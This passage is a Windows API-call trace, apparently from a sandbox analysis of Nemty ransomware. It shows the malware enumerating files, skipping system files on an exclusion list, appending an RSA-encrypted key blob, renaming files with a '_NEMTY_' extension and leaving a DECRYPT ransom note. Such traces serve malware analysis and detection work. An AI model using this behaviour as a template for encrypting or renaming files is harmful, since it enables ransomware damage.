lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0050.880] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=11958272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb67800 [0050.880] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x19000, lpOverlapped=0x0) returned 1 [0050.892] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=11958272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb67800 [0050.892] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x19000, lpOverlapped=0x0) returned 1 [0050.892] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=12060672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb80800 [0050.892] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0050.892] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0050.892] CloseHandle (hObject=0x3c8) returned 1 [0051.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0051.207] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.207] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.208] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0051.208] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0051.208] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi._nemty_kgobjgd_")) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0051.208] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0051.209] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2=".") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="..") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="...") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="windows") returned -1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="$RECYCLE.BIN") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="rsa") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="NTDETECT.COM") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="ntldr") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="MSDOS.SYS") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="IO.SYS") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="boot.ini") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="boot.ini") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="AUTOEXEC.BAT") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="ntuser.dat") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="desktop.ini") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="CONFIG.SYS") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="RECYCLER") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="BOOTSECT.BAK") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="bootmgr") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="programdata") returned 1 [0051.209] lstrcmpiW (lpString1="VisiorWW.xml", lpString2="appdata") returned 1 [0051.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.xml", lpUsedDefaultChar=0x0) returned 12 [0051.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x653f250, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.xml", lpUsedDefaultChar=0x0) returned 12 [0051.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0051.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.209] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.209] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x653f2a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.xml", lpUsedDefaultChar=0x0) returned 12 [0051.209] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0051.210] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="VisiorWW.xml", cchWideChar=12, lpMultiByteStr=0x653f2d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VisiorWW.xml", lpUsedDefaultChar=0x0) returned 12 [0051.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0051.210] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0051.210] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0051.210] Sleep (dwMilliseconds=0x5) [0051.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd22c06d0, dwHighDateTime=0x1d561e7)) [0051.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd22c06d0, dwHighDateTime=0x1d561e7)) [0051.213] GetLastError () returned 0x0 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.213] GetLastError () returned 0x0 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0051.213] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0051.213] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0051.213] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0051.213] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="NliZrJEESnR1q3NN2MF1qEL/ECNlcohPbYGyrxZWbFehfolM/kE6VOSdLQ3RgKfm\r\nSSzlbdtFpqDdiV5OP4uIQkPCQ8FeHz0E6RHMYbAEFdpHXlWE4uDKoHqN/AgVMeEj\r\nyVOwdRpyJT4vxfuBAspFSuTP+WhcSYDmiJSt6DuOdhAwXHggy3SbNjh99pxNdC7j\r\nSpmLXf1Gwny552zywjgjJcWkbR7x0MrqKkl3WmwOBKa4tL+Q15qDWkEKd2EsrLvS\r\n0P+OjSRwCTohyobjO1Tac7hvkYkeilYozEEup+kw/WTKGMQiQxVRm7VDilpZBgsN\r\n6H4hR1GQ9QW65JaeFyBEOw==\r\n", pcchString=0x653ef9c) returned 1 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0051.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.213] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0051.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0051.213] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0051.214] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=8723) returned 1 [0051.214] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2210) returned 0x6346d48 [0051.214] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.214] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x2210, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x2210, lpOverlapped=0x0) returned 1 [0051.216] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0051.216] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x2210, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x2210, lpOverlapped=0x0) returned 1 [0051.216] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0051.216] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=8723, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2213 [0051.216] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0051.216] CloseHandle (hObject=0x3c8) returned 1 [0051.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0051.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0051.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0051.217] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0051.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0051.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0051.217] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0051.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0051.217] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.217] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml._nemty_kgobjgd_")) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.218] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0051.218] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1cccfd0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd1cccfd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd1cf3130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0051.218] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0051.219] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0051.219] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0051.219] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0051.219] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0051.219] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0051.219] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0051.219] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0051.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0051.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0051.219] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1cccfd0, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd1cccfd0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd1cf3130, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0051.219] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0051.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: 